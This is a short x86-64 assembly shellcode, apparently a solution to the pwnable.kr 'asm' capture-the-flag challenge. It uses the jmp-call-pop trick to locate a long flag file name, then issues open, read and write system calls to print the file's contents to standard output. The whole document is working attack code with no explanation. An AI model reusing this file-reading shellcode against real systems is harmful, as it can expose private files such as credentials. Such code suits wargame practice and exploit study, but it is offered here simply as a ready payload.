bits 64

section .text
global _start

_start:

    jmp short filename

open:
    ; open(filename, O_RDONLY)
    pop rdi  ; filename
    mov rsi, 0x0 ; flags O_RDONLY
    mov rdx, 0x0
    mov rax, 0x02
    syscall

    ; read(fd, buf, 0x64)
    mov rdi, rax ; fd
    mov rsi, rsp
    sub rsi, 0x100 ; buf
    mov rdx, 0x64
    push rsi ; save buf
    mov rax, 0x00
    syscall

    ; write(1, buf, 0x64)
    mov rdi, 0x01
    pop rsi ; restore buf
    mov rdx, rax
    mov rax, 0x01
    syscall

filename:
    call open
    db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong', 0x00

